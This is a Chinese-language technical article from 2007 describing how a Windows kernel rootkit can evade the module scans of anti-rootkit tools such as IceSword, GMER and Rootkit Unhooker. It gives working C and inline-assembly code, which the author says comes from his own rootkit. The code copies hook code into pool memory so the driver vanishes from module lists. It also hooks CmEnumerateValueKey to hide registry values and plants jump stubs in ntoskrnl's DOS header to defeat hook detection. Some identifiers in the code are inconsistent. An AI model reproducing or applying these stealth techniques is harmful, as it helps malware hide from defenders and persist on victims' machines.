饶过现代Anti
				-
				Rookit工具的内核模块扫描
				(
				Bypass modern anti
				-
				rootkit tools
				's kernel mode scan)
				MJ0011
th_decoder@126
				.
				com
				2007
				-
				10
				-
				24
				本文描述了一些方法,可以饶过目前主流的现代Anti
				-
				rootkit工具,包括但不限于
				:
				Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti
				-
				rootkit最新版
等等
目前的anti
				-
				rootkit工具中,对于内核模块主要采用如下几种扫描方式
				:
				1.
				恢复ZwQuerySystemInformation的hook
				,
				然后利用功能号SystemModuleInformation进行枚举
例如Icesword
				2.
				遍历PsLoadModuleList
				,
				Driver
				/
				Device
				/
				Section Object链
				,
				或者TypeList链等
				(
				总之是找驱动相关对象
				)
				进行枚举
例如Rootkit Unhooker
				,
				Gmer等
				3.
				内核镜象暴力搜索
				,
				搜索MZ
				,
				PE等等标志结合进行判断内存里是否有PE镜象
				,
				如rootkit unhooker
				,
				rutkowska的modgreper等,通常只能显示为unknow image
				4.
				函数引用
				,
				各种routine\hook等
				,
				先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用
				,
				或者是根据各种 routine
				(
				dispatch routine
				,
				IDT
				,
				Image Notfiy等
				)
				或各种hook
				(
				inline 
				hook
				,
				iat
				/
				eat hook等等
				)
				,通常只能显示为unknow image或unknow xxx handler等
				5.
				使用系统ImageLoad Notfiy
				,
				使用一个BOOT驱动,记录所有模块load的消息
				,
				检测时进行分析 如AVG Anti
				-
				rootkit等
先说饶过
				1
				,
				2
				,
				3
				,
				5
				的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码
				/
				函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL
				.
				这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法
我的某个RK里是这样做的,例如A Function用来hook 系统函数B
				,
				其中需要调用系统函数C,
那么分配一块内存,大小
				= 
				len
				(
				A
				) + 
				sizeof
				(
				ULONG
				) * 
				2
				在内存的前两个DWORD放OrgB
				,
				以及C的地址,后面开始放函数代码
函数中使用call 
				+
				5 
				对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C
当然也可以在COPY入内存前自己用绝对地址定位函数
				~
				不过不如这个方法灵活
相关代码
				:
				//hook call CmEnumerateValueKey
				void 
				InstallCMRegHook
				()
{
    
				PVOID _CmEnumerateKeyValueLoc 
				;
   
    
				_CmEnumerateKeyValueLoc 
				= 
				FindCmEnumerateValueKey
				();
    
				//找到 call CmEnumerateValueKey
    
				HookCodeLen 
				= (
				ULONG
				)
				NopFunc8 
				- (
				ULONG
				)
				NewCmEnumerateValueKey 
				;
    
				//获得NewCmEnumerateValueKey长度
    
				HookCode3 
				= 
				ExAllocatePoolWithTag
				(
				NonPagedPool 
				,
    
				HookCodeLen 
				+ 
				4 
				,
    
				MEM_TAG_HOOKCODE3
				);
   
    
				//分配内存
    
				*(
				ULONG
				*)
				HookCode3 
				= *(
				ULONG
				*)
				_CmEnumerateKeyValueLoc 
				;
   
    
				//原函数地址放入内存
    
				RtlCopyMemory
				((
				PVOID
				)
				HookCode3 
				+ 
				sizeof
				(
				ULONG
				) , (
				PVOID
				)
				NewCmEnumerateValueKey 
				,
				HookCodeLen
				);
    
				//copy函数代码
    
				DO_SPINLOCK
				();
    *(
				ULONG
				*)
				_CmEnumerateValueKeyLoc 
				= 
				HookCode3 
				+ 
				sizeof
				(
				ULONG
				);
    
				//进行HOOK
    
				EXIT_SPINLOCK
				();
    
				return 
				;
   
}
				NTSTATUS NewCmEnumearateValueKey
				(
				IN PVOID    KeyControlBlock
				,
    
				IN ULONG Index
				,
    
				IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass
				,
    
				IN PVOID KeyValueInformation
				,
    
				IN ULONG KeyLength
				,
    
				IN PULONG ResultLength
    
				)
{
				//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址
    
				__asm
    
				{
        
				push    eax
        call    __
__
				:
        
				POP        eax
        SUB        eax
				,
				offset __
        add        eax
				,
				offset NewCmEnumearateValueKey
				;
				获得函数开始地址
        sub        eax
				,
				4   
        
				mov        eax
				,[
				eax
				]
;
				获得OrgCmEnumerateValueKey
        push    ResultLength
        push    KeyLength
        push    KeyValueInformation
        push    KeyValueInformationClass
        push    Index
        push    KeyControlBlock
        call    eax   
        mov        stat
				, 
				eax
				;
				调用原始函数
        pop        eax
    
				}
				//.....其他处理
//
//.....
				}
				void 
				NopFunc8
				()
{
    
				__asm
    
				{
        
				nop
        nop
        nop
    
				}
    
				return 
				;
}
				//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位
				这样,基于ZwQuerySystemInformation
				,
				PsLoadModuleList
				,
				对象目录,Type链
				,
				ImageLoad
				,
				暴力PE搜索
				(
				因为我们压根就没有PE镜象
				,
				just one piece of code
				~)...
				接下来看如何饶过
				4.
				中的检测方式
				1.Hook
				常用函数
				:
				这个很简单了,恢复自己要用的函数
				~
				或者压根就不用那些函数,HOOK代码大部分都是数据过滤
				/
				处理部分,所以完全可以一个系统函数也不调
				...
				2.
				各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook
				,
				因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中
				(
				类似的还有object hook
				,
				pxxxx hook等
				),
				使用此方法的例如rootkit unhooker
				, 
				gmer等
只要我们先使用这样的方法,就可以饶过检测,让Anti
				-
				rootkit工具不知道是我们的模块HOOK了这里
				:
				先将dispatch地址跳转到code section中不用的部分,
				5
				个字节就足够了,然后在这
				5
				个字节里使用jmp指令再跳到我们的模块里,这样Anti
				-
				rootkit工具检测时
				,
				就会发现dispatch routine仍然在该模块的code section中
通过这种方法也可以饶过对dispatch hook\object hook的检测
				inline 
				hook
				/
				iat
				/
				eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到 
				^-^
				即使Anti
				-
				rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描
				,
				我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)
一个简单的双段跳饶过object hook检测的代码
				:
				object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK
				:
				ULONG InsideHookCode
				(
				ULONG NewAddress 
				, 
				ULONG BaseCode 
				)
{
				//该函数用于将hook代码转接到模块的DOS头中
    //in :NewAddress: real hookcode to jump
    //in :ModuleName: kernel module base address to inject
    //out :NewJump Address
				ULONG TempCode 
				= 
				BaseCode 
				;
    
				TempCode 
				= 
				TempCode 
				+ 
				sizeof
				(
				IMAGE_DOS_HEADER
				) ;
    
				//into DOS stub
    
				DO_SPINLOCK
				();
    
				WPOFF
				();
   
    *(
				BYTE
				*)
				TempCode 
				= 
				0xe9 
				;
    
				__asm
    
				{
        
				push    eax
        push    ecx
        mov        ecx
				, 
				TempCode
        mov        eax
				, 
				NewAddress
        sub        eax
				, 
				ecx
        sub        eax
				, 
				5
        
				mov        dword ptr
				[
				ecx
				+
				1
				] , 
				eax
        pop        ecx
        pop        eax
    
				}
   
    
				WPON
				();
    
				EXIT_SPINLOCK
				();
    
				//write jmp NewAddress into DOS stub
    
				return 
				TempCode 
				;
}